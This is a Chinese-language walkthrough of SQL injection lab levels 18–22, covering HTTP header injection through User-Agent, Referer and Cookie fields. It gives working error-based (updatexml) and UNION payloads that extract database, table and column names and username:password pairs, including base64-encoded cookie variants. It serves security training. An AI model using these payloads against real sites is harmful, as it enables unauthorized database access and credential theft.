目录
【sql靶场】第18-22关-htpp头部注入保姆级教程
1.回顾知识
1.http头部
2.报错注入
2.第十八关
1.尝试
2.爆出数据库名
3.爆出表名
4.爆出字段
5.爆出账号密码
3.第十九关
4.第二十关
5.第二十一关
6.第二十二关
【sql靶场】第18-22关-htpp头部注入保姆级教程
1.回顾知识
1.http头部
HTTP请求头部有一些常用的字段,这些字段提供了关于请求的详细信息,以及客户端和服务器之间的交互方式。下面是一些常见的HTTP请求头部字段:
- User-Agent:这个头部字段提供了关于发送请求的应用程序或浏览器的信息。它通常包括应用程序的名称、版本和使用的操作系统等信息。例如,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36。
- Accept:这个头部字段指定客户端能够处理的数据类型,例如文本、HTML、图片、音频等。通过这个字段,服务器可以了解客户端支持的内容格式,并相应地返回数据。
- Accept-Language:这个头部字段指定客户端接受的语言类型和优先级。例如,Accept-Language: en-US,en;q=0.5。这有助于服务器返回与客户端语言偏好匹配的内容。
- Cookie:这个头部字段用于在客户端和服务器之间传递会话信息。Cookie通常用于保存用户的登录状态、购物车内容等。服务器通过读取Cookie头部字段中的值,可以识别用户或恢复会话状态。
- Host:这个头部字段指定要访问的服务器地址。对于DNS解析后的域名或IP地址,服务器可以使用Host头部来找到相应的资源。例如,Host: www.example.com。
- Referer:这个头部字段指定请求来源网页的URL。当用户从一个网页跳转到另一个网页时,浏览器会发送Referer头部,以便服务器知道原始页面的来源。
- Authorization:这个头部字段用于向服务器提供身份验证信息,例如Bearer token或Basic authentication。当用户需要登录或授权访问特定资源时,浏览器会发送包含身份验证信息的Authorization头部。
2.报错注入
1.报错注入深解
有则利用报错显示进行注入,让报错里面携带所需的查询信息
可以通过列数不同进行判断是否有报错,但是报错注入一般是让报错函数通过构造非法XPath表达式强制触发数据库解析错误,其核心原理与字段数无关,原因是字段数不匹配错误发生在 结果集构造阶段(如 UNION
前后字段数不一致)报错注入的异常发生在 条件解析阶段(如XPath解析失败),早于结果集生成,无论主查询返回3个字段还是其他数量,条件逻辑仅影响数据过滤,不涉及字段数对比
2.报错注入格式
一般是通过updatexml与 extractvalue进行构造非法XPath表达式
?id=1' and updatexml(1,concat(0x7e,(子查询语句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查询语句),0x7e))--+
3.使用的函数
concat:将同一行中多个字段的值拼接为单个字符串,适用于单行多列数据的合并
group_concat:某一列的数据聚合,适用于单列多行数据的合并
两个可以组合使用----每次先将行中的两个字段进行拼接成字符串再进行列的每行数据聚合
GROUP_CONCAT(CONCAT(col1, col2))
区别:
concat适用于需要精准提取特定行数据的场景(如管理员账号)。需多次请求,效率较低
group_concat单次请求获取数据,但需手动拼接分片结果。适用于快速批量泄露(如全表用户密码)
问题:
在利用 updatexml 进行报错注入时,可能会因为查询结果因长度限制显示不全,可通过以下两种方法解决:mid()或 substr()分片截取数据,规避 updatexml() 的32字符长度限制
使用的语法:
limit 0,1:从第0行开始,获取1条数据。逐次修改起始位置(如 limit 1,1、limit 2,1)遍历所有记录
substr(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),
逐次修改 start 参数(如 32、63)循环获取后续内容。
mid(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),
逐次修改 start 参数(如 32、63)循环获取后续内容。
区别:
substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,两者语法和功能完全一致,但是一般使用 mid(),功能相同但兼容性更佳,可无缝替代 substr避免潜在语法冲突。
特性 | concat + limit | group_concat + substr/mid |
---|---|---|
数据范围 | 单行数据 | 多行聚合数据 |
输出格式 | 单条记录(如 user~pass ) | 多条记录合并(如 user1~pass1,user2~pass2 ) |
注入效率 | 需多次请求遍历数据 | 单次请求获取多行数据 |
长度限制处理 | 直接适配单行输出长度 | 需通过 substr 分段截取避免超长截断 |
2.第十八关
1.尝试
在这里的输入框分别进行单引号双引号测试,不行
同时输入账号密码再在其中一个里面进行注入测试,不行
尝试输入正确账号,随机密码进行注入测试,不行
输入正确账号密码,再在输入框进行注入,不行
输入正确账号密码,不注入,看页面,结果出现了http头部的User-Agent信息,既然会有User-Agent信息打印出来,我们就可以尝试能不能进行注入,进行抓包修改User-Agent,进行注入
发现在User-Agent上修改,会有报错返回
那既然有报错返回,我们就可以尝试进行报错注入
2.爆出数据库名
第一次尝试
a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
但是没有成功报错注入,而是又报错了sql语句错误,在注释符那里,很多时候都会有过滤注释符,最好使用and '1'='1;我比较懒就直接使用了注释符#,我们尝试使用and '1'='1
a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
结果成功了注入出来数据库名
3.爆出表名
然后同样进行注入表名
a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
结果报错截断不正确的double值a
我觉得可能是and的问题,因为and必须都为真,于是改为了or
a' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
结果依然报错
我就尝试将前面的字符a删除,但是我想尝试and可不可以,毕竟前面没有值了
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
结果虽然不会报错了,但是也没有了报错注入返回
于是使用or
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
最终成功注入出来了
但是我后面又想到既然是截断不正确的double值,浮点数数据类型,用于表示带有小数部分的数值,那我不使用英文字符了,使用数字字符了
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
结果果然没有报错了,但是报错注入的返回也没有了,那这样可能是因为截断了正确的double值,而使用了or,只需要其中一个为真就好,后面的报错注入直接不看了导致的,那么我又使用回and
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1
结果果然也可以爆出表名
4.爆出字段
' or updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1) and '1'='1
5.爆出账号密码
' or updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) and '1'='1
3.第十九关
这一关爆出http头部的Referer字段信息,除了注入位置不愿意,剩下的与十八关基本一样
4.第二十关
这一关爆出http头部的Cookie字段信息
然后我们可以看到这里将用户名与密码和id都显出来了,我们可以利用这个测试回显位置进行注入
放掉第一个包
用第二个包
测试字段
' order by 4#
报错了,说明可以用报错注入,与十八、十九关操作基本一样,但是这一关有回显就不用这么麻烦,发现字段不是4
' order by 3#
没有报错,则是三
测试回显
' union select 1,2,3#
发现全部回显,id为1,name为2,password为3,进行注入
爆出数据库名
' union select 1,2,database()#
爆出全部
这里为了方便就不一条一条爆出来了,直接用三个回显爆出全部信息,一般来说要一个一个来,因为你知道数据库名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出账号密码
' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#
5.第二十一关
这一关与第二十关十分相似,但是又有所不同
首先登入看页面,发现也是Cookie字段信息
结果发现语句name在打印里面还变成了一串奇怪语句
我们去后端查看
if($row1){echo '<font color= "#FFFF00" font size = 3 >';setcookie('uname', base64_encode($row1['username']), time()+3600); echo "I LOVE YOU COOKIES";echo "</font>";echo '<font color= "#0000ff" font size = 3 >'; //echo 'Your Cookie is: ' .$cookee;echo "</font>";echo "<br>";print_r(mysql_error()); echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";header ('Location: index.php');}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>"; echo "</br>";echo '<img src="../images/slap.jpg" />'; echo "</font>"; }}
在里面我们可以看到有这么一句
setcookie('uname', base64_encode($row1['username']), time()+3600);
这一句使得我们注入的语句要进行base64编码才能够注入
进行编码
') union select 1,2,database()#
报错了,查看报错发现是闭合方式错误,改成')闭合
这里为了方便就不一条一条爆出来了,直接用三个回显爆出全部信息,一般来说要一个一个来,因为你知道数据库名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出账号密码
') union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#
6.第二十二关
这一关闭合方式为",剩下的与第二十一关基本一样。